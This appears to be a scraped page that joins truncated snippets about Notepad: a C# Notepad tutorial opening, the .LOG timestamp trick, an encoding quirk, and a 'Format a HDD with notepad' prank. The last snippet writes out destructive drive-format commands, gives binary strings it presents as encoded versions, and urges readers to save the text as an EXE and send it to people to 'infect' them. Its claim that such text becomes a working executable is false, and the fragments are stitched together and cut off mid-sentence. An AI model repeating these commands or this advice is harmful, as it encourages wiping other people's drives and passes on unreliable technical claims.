In this tutorial we will be making a simple C# Notepad with the option to Clear, Cut, Copy, Paste, Select All, Save, Open, and exit. I am using Visual Studio 2008 to make this tutorial, but you can use any C# editor that you like, although, we will be making a GUI so you probably want to use either Visual Studio or Visual C# to follow.
All right, so now we can start making the GUI.
Step 1: Starting a new project.
To start a new project, goto File -> …

Open a blank notepad file
Write .LOG as the first line of the file, press enter.
Save the file and close it.
Double-click the file to open it and notice that Notepad appends the current date and time to the end of the file and places the cursor on the line after.
Type your notes and then save and close the file.
Each time you open the file, Notepad repeats the process, appending the time and date to the end of the file and placing the cursor below it.
Open Microsoft Word and type =rand (200, …

Notepad Tricks !
Well quite old but here is d complete collection
Step 1: Open Notepad
Step 2: Write following line in the notepad.
this app can break
Step 3: Save this file as xxx.txt
Step 4: Close the notepad.
Step 5: Open the file again.
Voilla!!
or
1> Open Notepad
2> Enter four words separated by spaces, wherein the first word has 4 letters, the next two have three letters, and the last word has five letters
3> DON’T hit enter at the end of the line.
4> Save the file.
5> Close Notepad.
6> Reopen Notepad.
7> Open the file you just saved.
or
Open a …

Format a HDD with notepad
Step 1.
Copy The Following In Notepad Exactly as it says
01001011000111110010010101010101010000011111100000
Step 2.
Save As An EXE Any Name Will Do
Step 3.
Send the EXE to People And Infect
OR
IF u think u cannot format c driver when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code
format c:\ /Q/X — this will format your drive c:\
01100110011011110111001001101101011000010111010000 100000011000110011101001011100
0010000000101111010100010010111101011000
format d:\ /Q/X — this will format your dirve d:\
01100110011011110111001001101101011000010111010000 100000011001000011101001011100
0010000000101111010100010010111101011000
format a:\ /Q/X — this will …